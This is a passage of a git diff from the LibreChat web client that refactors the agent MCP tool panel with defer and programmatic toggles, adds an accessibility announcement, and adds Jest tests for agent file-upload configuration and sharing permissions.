); } + +const MemoizedFileSearch = memo(FileSearch); +MemoizedFileSearch.displayName = 'FileSearch'; + +export default MemoizedFileSearch; diff --git a/client/src/components/SidePanel/Agents/MCPTool.tsx b/client/src/components/SidePanel/Agents/MCPTool.tsx index 25d7c4c424..e9f888b7e5 100644 --- a/client/src/components/SidePanel/Agents/MCPTool.tsx +++ b/client/src/components/SidePanel/Agents/MCPTool.tsx @@ -1,25 +1,32 @@ import React, { useState } from 'react'; -import { ChevronDown } from 'lucide-react'; import { useFormContext } from 'react-hook-form'; import { Constants } from 'librechat-data-provider'; +import { ChevronDown, Clock, Code2 } from 'lucide-react'; import * as AccordionPrimitive from '@radix-ui/react-accordion'; import { Label, - ESide, Checkbox, OGDialog, Accordion, TrashIcon, - InfoHoverCard, + TooltipAnchor, AccordionItem, OGDialogTrigger, AccordionContent, OGDialogTemplate, } from '@librechat/client'; import type { AgentForm, MCPServerInfo } from '~/common'; -import { useLocalize, useMCPServerManager, useRemoveMCPTool } from '~/hooks'; +import { + useAgentCapabilities, + useMCPServerManager, + useGetAgentsConfig, + useMCPToolOptions, + useRemoveMCPTool, + useLocalize, +} from '~/hooks'; import MCPServerStatusIcon from '~/components/MCP/MCPServerStatusIcon'; import MCPConfigDialog from '~/components/MCP/MCPConfigDialog'; +import MCPToolItem from './MCPToolItem'; import { cn } from '~/utils'; export default function MCPTool({ serverInfo }: { serverInfo?: MCPServerInfo }) { @@ -27,6 +34,21 @@ export default function MCPTool({ serverInfo }: { serverInfo?: MCPServerInfo }) const { removeTool } = useRemoveMCPTool(); const { getValues, setValue } = useFormContext(); const { getServerStatusIconProps, getConfigDialogProps } = useMCPServerManager(); + const { agentsConfig } = useGetAgentsConfig(); + const { deferredToolsEnabled, programmaticToolsEnabled } = useAgentCapabilities( + agentsConfig?.capabilities, + ); + + const { + isToolDeferred, + isToolProgrammatic, + toggleToolDefer, + toggleToolProgrammatic, + areAllToolsDeferred, + areAllToolsProgrammatic, + toggleDeferAll, + toggleProgrammaticAll, + } = useMCPToolOptions(); const [isFocused, setIsFocused] = useState(false); const [isHovering, setIsHovering] = useState(false); @@ -37,32 +59,38 @@ export default function MCPTool({ serverInfo }: { serverInfo?: MCPServerInfo }) } const currentServerName = serverInfo.serverName; + const tools = serverInfo.tools || []; const getSelectedTools = () => { - if (!serverInfo?.tools) return []; const formTools = getValues('tools') || []; - return serverInfo.tools.filter((t) => formTools.includes(t.tool_id)).map((t) => t.tool_id); + return tools.filter((t) => formTools.includes(t.tool_id)).map((t) => t.tool_id); }; const updateFormTools = (newSelectedTools: string[]) => { const currentTools = getValues('tools') || []; - const otherTools = currentTools.filter( - (t: string) => !serverInfo?.tools?.some((st) => st.tool_id === t), - ); + const otherTools = currentTools.filter((t: string) => !tools.some((st) => st.tool_id === t)); setValue('tools', [...otherTools, ...newSelectedTools]); }; + const toggleToolSelect = (toolId: string) => { + const selectedTools = getSelectedTools(); + const newSelectedTools = selectedTools.includes(toolId) + ? selectedTools.filter((t) => t !== toolId) + : [...selectedTools, toolId]; + updateFormTools(newSelectedTools); + }; + const selectedTools = getSelectedTools(); const isExpanded = accordionValue === currentServerName; + const allDeferred = areAllToolsDeferred(tools); + const allProgrammatic = areAllToolsProgrammatic(tools); const statusIconProps = getServerStatusIconProps(currentServerName); const configDialogProps = getConfigDialogProps(); const statusIcon = statusIconProps && (
{ - e.stopPropagation(); - }} + onClick={(e) => e.stopPropagation()} className="cursor-pointer rounded p-0.5 hover:bg-surface-secondary" > @@ -87,14 +115,7 @@ export default function MCPTool({ serverInfo }: { serverInfo?: MCPServerInfo })
- setAccordionValue((prev) => { - if (prev) { - return ''; - } - return currentServerName; - }) - } + onClick={() => setAccordionValue((prev) => (prev ? '' : currentServerName))} > {statusIcon &&
{statusIcon}
} @@ -134,18 +155,15 @@ export default function MCPTool({ serverInfo }: { serverInfo?: MCPServerInfo }) 0 + selectedTools.length === tools.length && selectedTools.length > 0 } onCheckedChange={(checked) => { - if (serverInfo.tools) { - const newSelectedTools = checked - ? serverInfo.tools.map((t) => t.tool_id) - : [ - `${Constants.mcp_server}${Constants.mcp_delimiter}${currentServerName}`, - ]; - updateFormTools(newSelectedTools); - } + const newSelectedTools = checked + ? tools.map((t) => t.tool_id) + : [ + `${Constants.mcp_server}${Constants.mcp_delimiter}${currentServerName}`, + ]; + updateFormTools(newSelectedTools); }} className={cn( 'h-4 w-4 rounded border border-border-medium transition-all duration-200 hover:border-border-heavy', @@ -162,22 +180,100 @@ export default function MCPTool({ serverInfo }: { serverInfo?: MCPServerInfo }) }} tabIndex={isExpanded ? 0 : -1} aria-label={ - selectedTools.length === serverInfo.tools?.length && - selectedTools.length > 0 + selectedTools.length === tools.length && selectedTools.length > 0 ? localize('com_ui_deselect_all') : localize('com_ui_select_all') } />
+ {deferredToolsEnabled && ( + { + e.stopPropagation(); + toggleDeferAll(tools); + }} + onKeyDown={(e) => { + if (e.key === 'Enter' || e.key === ' ') { + e.preventDefault(); + e.stopPropagation(); + toggleDeferAll(tools); + } + }} + > + + + )} + + {programmaticToolsEnabled && ( + { + e.stopPropagation(); + toggleProgrammaticAll(tools); + }} + onKeyDown={(e) => { + if (e.key === 'Enter' || e.key === ' ') { + e.preventDefault(); + e.stopPropagation(); + toggleProgrammaticAll(tools); + } + }} + > + + + )} +
- {/* Caret button for accordion */} + + e.stopPropagation()} + > + + {tool.metadata.description || localize('com_ui_mcp_no_description')} + + + {deferredToolsEnabled && ( + +
+ +
+ {localize('com_ui_mcp_defer_loading')} + + {localize('com_ui_mcp_click_to_defer')} + +
+
+
+ )} + {programmaticToolsEnabled && ( + +
+ +
+ {localize('com_ui_mcp_programmatic')} + + {localize('com_ui_mcp_click_to_programmatic')} + +
+
+
+ )} +
+ +
+
+ ); +} diff --git a/client/src/components/SidePanel/Agents/MCPTools.tsx b/client/src/components/SidePanel/Agents/MCPTools.tsx index fa028b2d55..3dc9a19d6a 100644 --- a/client/src/components/SidePanel/Agents/MCPTools.tsx +++ b/client/src/components/SidePanel/Agents/MCPTools.tsx @@ -1,10 +1,10 @@ import React from 'react'; +import { PermissionTypes, Permissions } from 'librechat-data-provider'; import UninitializedMCPTool from './UninitializedMCPTool'; import UnconfiguredMCPTool from './UnconfiguredMCPTool'; -import { useAgentPanelContext } from '~/Providers'; import { useHasAccess, useLocalize } from '~/hooks'; +import { useAgentPanelContext } from '~/Providers'; import MCPTool from './MCPTool'; -import { PermissionTypes, Permissions } from 'librechat-data-provider'; export default function MCPTools({ agentId, @@ -46,7 +46,7 @@ export default function MCPTools({ return null; } - if (serverInfo.isConnected) { + if (serverInfo?.tools?.length && serverInfo.tools.length > 0) { return ( ); diff --git a/client/src/components/SidePanel/Agents/ModelPanel.tsx b/client/src/components/SidePanel/Agents/ModelPanel.tsx index bfcac5bdea..cec4041947 100644 --- a/client/src/components/SidePanel/Agents/ModelPanel.tsx +++ b/client/src/components/SidePanel/Agents/ModelPanel.tsx @@ -15,6 +15,7 @@ import { import type * as t from 'librechat-data-provider'; import type { AgentForm, AgentModelPanelProps, StringOption } from '~/common'; import { useGetEndpointsQuery } from '~/data-provider'; +import { useLiveAnnouncer } from '~/Providers'; import { useLocalize } from '~/hooks'; import { Panel } from '~/common'; import { cn } from '~/utils'; @@ -25,6 +26,7 @@ export default function ModelPanel({ models: modelsData, }: Pick) { const localize = useLocalize(); + const { announcePolite } = useLiveAnnouncer(); const { control, setValue } = useFormContext(); @@ -91,6 +93,7 @@ export default function ModelPanel({ const handleResetParameters = () => { setValue('model_parameters', {} as t.AgentModelParameters); + announcePolite({ message: localize('com_ui_model_parameters_reset'), isStatus: true }); }; return ( diff --git a/client/src/components/SidePanel/Agents/Search/Action.tsx b/client/src/components/SidePanel/Agents/Search/Action.tsx index d71d0878fa..79019e28b7 100644 --- a/client/src/components/SidePanel/Agents/Search/Action.tsx +++ b/client/src/components/SidePanel/Agents/Search/Action.tsx @@ -14,6 +14,7 @@ import type { AgentForm } from '~/common'; import { useLocalize, useSearchApiKeyForm } from '~/hooks'; import ApiKeyDialog from './ApiKeyDialog'; import { ESide } from '~/common'; +import { cn } from '~/utils'; export default function Action({ authTypes = [], @@ -81,7 +82,10 @@ export default function Action({ diff --git a/client/src/components/SidePanel/Agents/__tests__/AgentFileConfig.spec.tsx b/client/src/components/SidePanel/Agents/__tests__/AgentFileConfig.spec.tsx new file mode 100644 index 0000000000..aeb0dd3ff9 --- /dev/null +++ b/client/src/components/SidePanel/Agents/__tests__/AgentFileConfig.spec.tsx @@ -0,0 +1,151 @@ +import React from 'react'; +import { render, screen } from '@testing-library/react'; +import { useForm, FormProvider } from 'react-hook-form'; +import { EModelEndpoint, mergeFileConfig, resolveEndpointType } from 'librechat-data-provider'; +import type { TEndpointsConfig } from 'librechat-data-provider'; +import type { AgentForm } from '~/common'; +import useAgentFileConfig from '~/hooks/Agents/useAgentFileConfig'; + +/** + * Tests the useAgentFileConfig hook used by FileContext, FileSearch, and Code/Files. + * Uses the real hook with mocked data-fetching layer. + */ + +const mockEndpointsConfig: TEndpointsConfig = { + [EModelEndpoint.openAI]: { userProvide: false, order: 0 }, + [EModelEndpoint.agents]: { userProvide: false, order: 1 }, + Moonshot: { type: EModelEndpoint.custom, userProvide: false, order: 9999 }, + 'Some Endpoint': { type: EModelEndpoint.custom, userProvide: false, order: 9999 }, +}; + +let mockFileConfig = mergeFileConfig({ + endpoints: { + Moonshot: { fileLimit: 5 }, + [EModelEndpoint.agents]: { fileLimit: 20 }, + default: { fileLimit: 10 }, + }, +}); + +jest.mock('~/data-provider', () => ({ + useGetEndpointsQuery: () => ({ data: mockEndpointsConfig }), + useGetFileConfig: ({ select }: { select?: (data: unknown) => unknown }) => ({ + data: select != null ? select(mockFileConfig) : mockFileConfig, + }), +})); + +function FileConfigProbe() { + const { endpointType, endpointFileConfig } = useAgentFileConfig(); + return ( +
+ {String(endpointType)} + {endpointFileConfig.fileLimit} + {String(endpointFileConfig.disabled ?? false)} +
+ ); +} + +function TestWrapper({ provider }: { provider?: string | { label: string; value: string } }) { + const methods = useForm({ + defaultValues: { provider: provider as AgentForm['provider'] }, + }); + return ( + + + + ); +} + +describe('AgentPanel file config resolution (useAgentFileConfig)', () => { + describe('endpointType resolution from form provider', () => { + it('resolves to custom when provider is a custom endpoint string', () => { + render(); + expect(screen.getByTestId('endpointType').textContent).toBe(EModelEndpoint.custom); + }); + + it('resolves to custom when provider is a custom endpoint with spaces', () => { + render(); + expect(screen.getByTestId('endpointType').textContent).toBe(EModelEndpoint.custom); + }); + + it('resolves to openAI when provider is openAI', () => { + render(); + expect(screen.getByTestId('endpointType').textContent).toBe(EModelEndpoint.openAI); + }); + + it('falls back to agents when provider is undefined', () => { + render(); + expect(screen.getByTestId('endpointType').textContent).toBe(EModelEndpoint.agents); + }); + + it('falls back to agents when provider is empty string', () => { + render(); + expect(screen.getByTestId('endpointType').textContent).toBe(EModelEndpoint.agents); + expect(screen.getByTestId('fileLimit').textContent).toBe('20'); + }); + + it('falls back to agents when provider option has empty value', () => { + render(); + expect(screen.getByTestId('endpointType').textContent).toBe(EModelEndpoint.agents); + expect(screen.getByTestId('fileLimit').textContent).toBe('20'); + }); + + it('resolves correctly when provider is an option object', () => { + render(); + expect(screen.getByTestId('endpointType').textContent).toBe(EModelEndpoint.custom); + }); + }); + + describe('file config fallback chain', () => { + it('uses Moonshot-specific file config when provider is Moonshot', () => { + render(); + expect(screen.getByTestId('fileLimit').textContent).toBe('5'); + }); + + it('falls back to agents file config when provider has no specific config', () => { + render(); + expect(screen.getByTestId('fileLimit').textContent).toBe('20'); + }); + + it('uses agents file config when no provider is set', () => { + render(); + expect(screen.getByTestId('fileLimit').textContent).toBe('20'); + }); + + it('falls back to default config for openAI provider (no openAI-specific config)', () => { + render(); + expect(screen.getByTestId('fileLimit').textContent).toBe('10'); + }); + }); + + describe('disabled state', () => { + it('reports not disabled for standard config', () => { + render(); + expect(screen.getByTestId('disabled').textContent).toBe('false'); + }); + + it('reports disabled when provider-specific config is disabled', () => { + const original = mockFileConfig; + mockFileConfig = mergeFileConfig({ + endpoints: { + Moonshot: { disabled: true }, + [EModelEndpoint.agents]: { fileLimit: 20 }, + default: { fileLimit: 10 }, + }, + }); + + render(); + expect(screen.getByTestId('disabled').textContent).toBe('true'); + + mockFileConfig = original; + }); + }); + + describe('consistency with direct custom endpoint', () => { + it('resolves to the same type as a direct custom endpoint would', () => { + render(); + const agentEndpointType = screen.getByTestId('endpointType').textContent; + const directEndpointType = resolveEndpointType(mockEndpointsConfig, 'Moonshot'); + expect(agentEndpointType).toBe(directEndpointType); + }); + }); +}); diff --git a/client/src/components/SidePanel/Agents/__tests__/AgentFooter.spec.tsx b/client/src/components/SidePanel/Agents/__tests__/AgentFooter.spec.tsx index 3425f5a75c..cfceeacb33 100644 --- a/client/src/components/SidePanel/Agents/__tests__/AgentFooter.spec.tsx +++ b/client/src/components/SidePanel/Agents/__tests__/AgentFooter.spec.tsx @@ -174,7 +174,7 @@ jest.mock('~/components/Sharing', () => ({ resourceType: ResourceType; }) => (
{ expect(screen.getByTestId('version-button')).toBeInTheDocument(); expect(screen.getByTestId('delete-button')).toBeInTheDocument(); expect(screen.queryByTestId('admin-settings')).not.toBeInTheDocument(); - expect(screen.getByTestId('grant-access-dialog')).toBeInTheDocument(); + expect(screen.getByTestId('grant-access-dialog-agent')).toBeInTheDocument(); expect(screen.getByTestId('duplicate-button')).toBeInTheDocument(); expect(screen.queryByTestId('spinner')).not.toBeInTheDocument(); }); @@ -338,7 +338,7 @@ describe('AgentFooter', () => { expect(screen.getByText('Create')).toBeInTheDocument(); expect(screen.queryByTestId('version-button')).not.toBeInTheDocument(); expect(screen.queryByTestId('delete-button')).not.toBeInTheDocument(); - expect(screen.queryByTestId('grant-access-dialog')).not.toBeInTheDocument(); + expect(screen.queryByTestId('grant-access-dialog-agent')).not.toBeInTheDocument(); expect(screen.queryByTestId('duplicate-agent')).not.toBeInTheDocument(); }); @@ -346,7 +346,7 @@ describe('AgentFooter', () => { mockUseAuthContext.mockReturnValue(createAuthContext(mockUsers.admin)); const { unmount } = render(); expect(screen.getByTestId('admin-settings')).toBeInTheDocument(); - expect(screen.getByTestId('grant-access-dialog')).toBeInTheDocument(); + expect(screen.getByTestId('grant-access-dialog-agent')).toBeInTheDocument(); // Clean up the first render unmount(); @@ -362,9 +362,15 @@ describe('AgentFooter', () => { } return undefined; }); + mockUseHasAccess.mockReturnValue(true); + mockUseResourcePermissions.mockReturnValue({ + hasPermission: () => false, + isLoading: false, + permissionBits: 0, + }); render(); - expect(screen.queryByTestId('grant-access-dialog')).toBeInTheDocument(); // Still shows because hasAccess is true - expect(screen.queryByTestId('duplicate-agent')).not.toBeInTheDocument(); // Should not show for different author + expect(screen.queryByTestId('grant-access-dialog-agent')).not.toBeInTheDocument(); // No share permission + expect(screen.queryByTestId('duplicate-button')).not.toBeInTheDocument(); // No edit permission }); test('adjusts UI based on permissions', () => { @@ -392,7 +398,7 @@ describe('AgentFooter', () => { permissionBits: 0, }); render(); - expect(screen.queryByTestId('grant-access-dialog')).not.toBeInTheDocument(); + expect(screen.queryByTestId('grant-access-dialog-agent')).not.toBeInTheDocument(); }); test('hides action buttons when permissions are loading', () => { @@ -419,8 +425,85 @@ describe('AgentFooter', () => { }); render(); expect(screen.queryByTestId('delete-button')).not.toBeInTheDocument(); - expect(screen.queryByTestId('grant-access-dialog')).not.toBeInTheDocument(); - // Duplicate button should still show as it doesn't depend on permissions loading + expect(screen.queryByTestId('grant-access-dialog-agent')).not.toBeInTheDocument(); + expect(screen.queryByTestId('duplicate-button')).not.toBeInTheDocument(); + }); + + test('shows duplicate button for non-owner with EDIT permission', () => { + mockUseAuthContext.mockReturnValue(createAuthContext(mockUsers.different)); + mockUseWatch.mockImplementation(({ name }) => { + if (name === 'agent') { + return { + _id: 'agent-db-123', + name: 'Test Agent', + author: 'user-123', + projectIds: ['project-1'], + isCollaborative: false, + }; + } + if (name === 'id') { + return 'agent-123'; + } + return undefined; + }); + mockUseResourcePermissions.mockReturnValue({ + hasPermission: (bit: number) => bit === 2, + isLoading: false, + permissionBits: 2, + }); + render(); + expect(screen.getByTestId('duplicate-button')).toBeInTheDocument(); + }); + + test('hides duplicate button for non-owner with only VIEW permission', () => { + mockUseAuthContext.mockReturnValue(createAuthContext(mockUsers.different)); + mockUseWatch.mockImplementation(({ name }) => { + if (name === 'agent') { + return { + _id: 'agent-db-123', + name: 'Test Agent', + author: 'user-123', + projectIds: ['project-1'], + isCollaborative: false, + }; + } + if (name === 'id') { + return 'agent-123'; + } + return undefined; + }); + mockUseResourcePermissions.mockReturnValue({ + hasPermission: () => false, + isLoading: false, + permissionBits: 1, + }); + render(); + expect(screen.queryByTestId('duplicate-button')).not.toBeInTheDocument(); + }); + + test('shows duplicate button for admin who is not the author', () => { + mockUseAuthContext.mockReturnValue(createAuthContext(mockUsers.admin)); + mockUseWatch.mockImplementation(({ name }) => { + if (name === 'agent') { + return { + _id: 'agent-db-123', + name: 'Test Agent', + author: 'user-123', + projectIds: ['project-1'], + isCollaborative: false, + }; + } + if (name === 'id') { + return 'agent-123'; + } + return undefined; + }); + mockUseResourcePermissions.mockReturnValue({ + hasPermission: () => false, + isLoading: false, + permissionBits: 0, + }); + render(); expect(screen.getByTestId('duplicate-button')).toBeInTheDocument(); }); }); diff --git a/client/src/components/SidePanel/Agents/__tests__/CodeFiles.spec.tsx b/client/src/components/SidePanel/Agents/__tests__/CodeFiles.spec.tsx new file mode 100644 index 0000000000..0e965e4c84 --- /dev/null +++ b/client/src/components/SidePanel/Agents/__tests__/CodeFiles.spec.tsx @@ -0,0 +1,138 @@ +import React from 'react'; +import { render, screen } from '@testing-library/react'; +import { useForm, FormProvider } from 'react-hook-form'; +import { EModelEndpoint, mergeFileConfig } from 'librechat-data-provider'; +import type { TEndpointsConfig } from 'librechat-data-provider'; +import type { AgentForm } from '~/common'; +import Files from '../Code/Files'; + +const mockEndpointsConfig: TEndpointsConfig = { + [EModelEndpoint.agents]: { userProvide: false, order: 1 }, + Moonshot: { type: EModelEndpoint.custom, userProvide: false, order: 9999 }, +}; + +let mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } }); + +jest.mock('~/data-provider', () => ({ + useGetEndpointsQuery: () => ({ data: mockEndpointsConfig }), + useGetFileConfig: ({ select }: { select?: (d: unknown) => unknown }) => ({ + data: select != null ? select(mockFileConfig) : mockFileConfig, + }), +})); + +jest.mock('~/hooks', () => ({ + useAgentFileConfig: jest.requireActual('~/hooks/Agents/useAgentFileConfig').default, + useLocalize: () => (key: string) => key, + useLazyEffect: () => {}, +})); + +const mockUseFileHandlingNoChatContext = jest.fn().mockReturnValue({ + abortUpload: jest.fn(), + handleFileChange: jest.fn(), +}); + +jest.mock('~/hooks/Files/useFileHandling', () => ({ + useFileHandlingNoChatContext: (...args: unknown[]) => mockUseFileHandlingNoChatContext(...args), +})); + +jest.mock('~/components/Chat/Input/Files/FileRow', () => () => null); + +jest.mock('@librechat/client', () => ({ + AttachmentIcon: () => , +})); + +function Wrapper({ provider, children }: { provider?: string; children: React.ReactNode }) { + const methods = useForm({ + defaultValues: { provider: provider as AgentForm['provider'] }, + }); + return {children}; +} + +describe('Code/Files', () => { + it('renders upload UI when file uploads are not disabled', () => { + mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } }); + render( + + + , + ); + expect(screen.getByText('com_assistants_code_interpreter_files')).toBeInTheDocument(); + }); + + it('returns null when file config is disabled for provider', () => { + mockFileConfig = mergeFileConfig({ + endpoints: { Moonshot: { disabled: true }, default: { fileLimit: 10 } }, + }); + const { container } = render( + + + , + ); + expect(container.innerHTML).toBe(''); + }); + + it('returns null when agents endpoint config is disabled and no provider config', () => { + mockFileConfig = mergeFileConfig({ + endpoints: { [EModelEndpoint.agents]: { disabled: true }, default: { fileLimit: 10 } }, + }); + const { container } = render( + + + , + ); + expect(container.innerHTML).toBe(''); + }); + + it('passes provider as endpointOverride and resolved type as endpointTypeOverride', () => { + mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } }); + mockUseFileHandlingNoChatContext.mockClear(); + render( + + + , + ); + const params = mockUseFileHandlingNoChatContext.mock.calls[0][0]; + expect(params.endpointOverride).toBe('Moonshot'); + expect(params.endpointTypeOverride).toBe(EModelEndpoint.custom); + }); + + it('falls back to agents for endpointOverride when no provider', () => { + mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } }); + mockUseFileHandlingNoChatContext.mockClear(); + render( + + + , + ); + const params = mockUseFileHandlingNoChatContext.mock.calls[0][0]; + expect(params.endpointOverride).toBe(EModelEndpoint.agents); + expect(params.endpointTypeOverride).toBe(EModelEndpoint.agents); + }); + + it('falls back to agents for endpointOverride when provider is empty string', () => { + mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } }); + mockUseFileHandlingNoChatContext.mockClear(); + render( + + + , + ); + const params = mockUseFileHandlingNoChatContext.mock.calls[0][0]; + expect(params.endpointOverride).toBe(EModelEndpoint.agents); + }); + + it('renders when provider has no specific config and agents config is enabled', () => { + mockFileConfig = mergeFileConfig({ + endpoints: { + [EModelEndpoint.agents]: { fileLimit: 20 }, + default: { fileLimit: 10 }, + }, + }); + render( + + + , + ); + expect(screen.getByText('com_assistants_code_interpreter_files')).toBeInTheDocument(); + }); +}); diff --git a/client/src/components/SidePanel/Agents/__tests__/FileContext.spec.tsx b/client/src/components/SidePanel/Agents/__tests__/FileContext.spec.tsx new file mode 100644 index 0000000000..f99d71d2b7 --- /dev/null +++ b/client/src/components/SidePanel/Agents/__tests__/FileContext.spec.tsx @@ -0,0 +1,151 @@ +import React from 'react'; +import { render, screen } from '@testing-library/react'; +import { useForm, FormProvider } from 'react-hook-form'; +import { EModelEndpoint, mergeFileConfig } from 'librechat-data-provider'; +import type { TEndpointsConfig } from 'librechat-data-provider'; +import type { AgentForm } from '~/common'; +import FileContext from '../FileContext'; + +const mockEndpointsConfig: TEndpointsConfig = { + [EModelEndpoint.agents]: { userProvide: false, order: 1 }, + Moonshot: { type: EModelEndpoint.custom, userProvide: false, order: 9999 }, +}; + +let mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } }); + +jest.mock('~/data-provider', () => ({ + useGetEndpointsQuery: () => ({ data: mockEndpointsConfig }), + useGetFileConfig: ({ select }: { select?: (d: unknown) => unknown }) => ({ + data: select != null ? select(mockFileConfig) : mockFileConfig, + }), + useGetStartupConfig: () => ({ data: { sharePointFilePickerEnabled: false } }), +})); + +jest.mock('~/hooks', () => ({ + useAgentFileConfig: jest.requireActual('~/hooks/Agents/useAgentFileConfig').default, + useLocalize: () => (key: string) => key, + useLazyEffect: () => {}, +})); + +const mockUseFileHandlingNoChatContext = jest.fn().mockReturnValue({ + handleFileChange: jest.fn(), +}); + +jest.mock('~/hooks/Files/useFileHandling', () => ({ + useFileHandlingNoChatContext: (...args: unknown[]) => mockUseFileHandlingNoChatContext(...args), +})); + +jest.mock('~/hooks/Files/useSharePointFileHandling', () => ({ + useSharePointFileHandlingNoChatContext: () => ({ + handleSharePointFiles: jest.fn(), + isProcessing: false, + downloadProgress: 0, + }), +})); + +jest.mock('~/components/SharePoint', () => ({ + SharePointPickerDialog: () => null, +})); + +jest.mock('~/components/Chat/Input/Files/FileRow', () => () => null); + +jest.mock('@ariakit/react', () => ({ + MenuButton: ({ children, ...props }: { children: React.ReactNode }) => ( + + ), +})); + +jest.mock('@librechat/client', () => ({ + HoverCard: ({ children }: { children: React.ReactNode }) =>
{children}
, + DropdownPopup: () => null, + AttachmentIcon: () => , + CircleHelpIcon: () => , + SharePointIcon: () => , + HoverCardPortal: ({ children }: { children: React.ReactNode }) =>
{children}
, + HoverCardContent: ({ children }: { children: React.ReactNode }) =>
{children}
, + HoverCardTrigger: ({ children }: { children: React.ReactNode }) =>
{children}
, +})); + +function Wrapper({ provider, children }: { provider?: string; children: React.ReactNode }) { + const methods = useForm({ + defaultValues: { provider: provider as AgentForm['provider'] }, + }); + return {children}; +} + +describe('FileContext', () => { + it('renders upload UI when file uploads are not disabled', () => { + mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } }); + render( + + + , + ); + expect(screen.getByText('com_agents_file_context_label')).toBeInTheDocument(); + }); + + it('returns null when file config is disabled', () => { + mockFileConfig = mergeFileConfig({ + endpoints: { Moonshot: { disabled: true }, default: { fileLimit: 10 } }, + }); + const { container } = render( + + + , + ); + expect(container.innerHTML).toBe(''); + }); + + it('returns null when agents endpoint config is disabled and provider has no specific config', () => { + mockFileConfig = mergeFileConfig({ + endpoints: { [EModelEndpoint.agents]: { disabled: true }, default: { fileLimit: 10 } }, + }); + const { container } = render( + + + , + ); + expect(container.innerHTML).toBe(''); + }); + + it('passes provider as endpointOverride and resolved type as endpointTypeOverride', () => { + mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } }); + mockUseFileHandlingNoChatContext.mockClear(); + render( + + + , + ); + const params = mockUseFileHandlingNoChatContext.mock.calls[0][0]; + expect(params.endpointOverride).toBe('Moonshot'); + expect(params.endpointTypeOverride).toBe(EModelEndpoint.custom); + }); + + it('falls back to agents for endpointOverride when no provider', () => { + mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } }); + mockUseFileHandlingNoChatContext.mockClear(); + render( + + + , + ); + const params = mockUseFileHandlingNoChatContext.mock.calls[0][0]; + expect(params.endpointOverride).toBe(EModelEndpoint.agents); + expect(params.endpointTypeOverride).toBe(EModelEndpoint.agents); + }); + + it('renders when provider has no specific config and agents config is enabled', () => { + mockFileConfig = mergeFileConfig({ + endpoints: { + [EModelEndpoint.agents]: { fileLimit: 20 }, + default: { fileLimit: 10 }, + }, + }); + render( + + + , + ); + expect(screen.getByText('com_agents_file_context_label')).toBeInTheDocument(); + }); +}); diff --git a/client/src/components/SidePanel/Agents/__tests__/FileSearch.spec.tsx b/client/src/components/SidePanel/Agents/__tests__/FileSearch.spec.tsx new file mode 100644 index 0000000000..003388f5d8 --- /dev/null +++ b/client/src/components/SidePanel/Agents/__tests__/FileSearch.spec.tsx @@ -0,0 +1,147 @@ +import React from 'react'; +import { render, screen } from '@testing-library/react'; +import { useForm, FormProvider } from 'react-hook-form'; +import { EModelEndpoint, mergeFileConfig } from 'librechat-data-provider'; +import type { TEndpointsConfig } from 'librechat-data-provider'; +import type { AgentForm } from '~/common'; +import FileSearch from '../FileSearch'; + +const mockEndpointsConfig: TEndpointsConfig = { + [EModelEndpoint.agents]: { userProvide: false, order: 1 }, + Moonshot: { type: EModelEndpoint.custom, userProvide: false, order: 9999 }, +}; + +let mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } }); + +jest.mock('~/data-provider', () => ({ + useGetEndpointsQuery: () => ({ data: mockEndpointsConfig }), + useGetFileConfig: ({ select }: { select?: (d: unknown) => unknown }) => ({ + data: select != null ? select(mockFileConfig) : mockFileConfig, + }), + useGetStartupConfig: () => ({ data: { sharePointFilePickerEnabled: false } }), +})); + +jest.mock('~/hooks', () => ({ + useAgentFileConfig: jest.requireActual('~/hooks/Agents/useAgentFileConfig').default, + useLocalize: () => (key: string) => key, + useLazyEffect: () => {}, +})); + +const mockUseFileHandlingNoChatContext = jest.fn().mockReturnValue({ + handleFileChange: jest.fn(), +}); + +jest.mock('~/hooks/Files/useFileHandling', () => ({ + useFileHandlingNoChatContext: (...args: unknown[]) => mockUseFileHandlingNoChatContext(...args), +})); + +jest.mock('~/hooks/Files/useSharePointFileHandling', () => ({ + useSharePointFileHandlingNoChatContext: () => ({ + handleSharePointFiles: jest.fn(), + isProcessing: false, + downloadProgress: 0, + }), +})); + +jest.mock('~/components/SharePoint', () => ({ + SharePointPickerDialog: () => null, +})); + +jest.mock('~/components/Chat/Input/Files/FileRow', () => () => null); +jest.mock('../FileSearchCheckbox', () => () => null); + +jest.mock('@ariakit/react', () => ({ + MenuButton: ({ children, ...props }: { children: React.ReactNode }) => ( + + ), +})); + +jest.mock('@librechat/client', () => ({ + SharePointIcon: () => , + AttachmentIcon: () => , + DropdownPopup: () => null, +})); + +function Wrapper({ provider, children }: { provider?: string; children: React.ReactNode }) { + const methods = useForm({ + defaultValues: { provider: provider as AgentForm['provider'] }, + }); + return {children}; +} + +describe('FileSearch', () => { + it('renders upload UI when file uploads are not disabled', () => { + mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } }); + render( + + + , + ); + expect(screen.getByText('com_assistants_file_search')).toBeInTheDocument(); + }); + + it('returns null when file config is disabled for provider', () => { + mockFileConfig = mergeFileConfig({ + endpoints: { Moonshot: { disabled: true }, default: { fileLimit: 10 } }, + }); + const { container } = render( + + + , + ); + expect(container.innerHTML).toBe(''); + }); + + it('returns null when agents endpoint config is disabled and no provider config', () => { + mockFileConfig = mergeFileConfig({ + endpoints: { [EModelEndpoint.agents]: { disabled: true }, default: { fileLimit: 10 } }, + }); + const { container } = render( + + + , + ); + expect(container.innerHTML).toBe(''); + }); + + it('passes provider as endpointOverride and resolved type as endpointTypeOverride', () => { + mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } }); + mockUseFileHandlingNoChatContext.mockClear(); + render( + + + , + ); + const params = mockUseFileHandlingNoChatContext.mock.calls[0][0]; + expect(params.endpointOverride).toBe('Moonshot'); + expect(params.endpointTypeOverride).toBe(EModelEndpoint.custom); + }); + + it('falls back to agents for endpointOverride when no provider', () => { + mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } }); + mockUseFileHandlingNoChatContext.mockClear(); + render( + + + , + ); + const params = 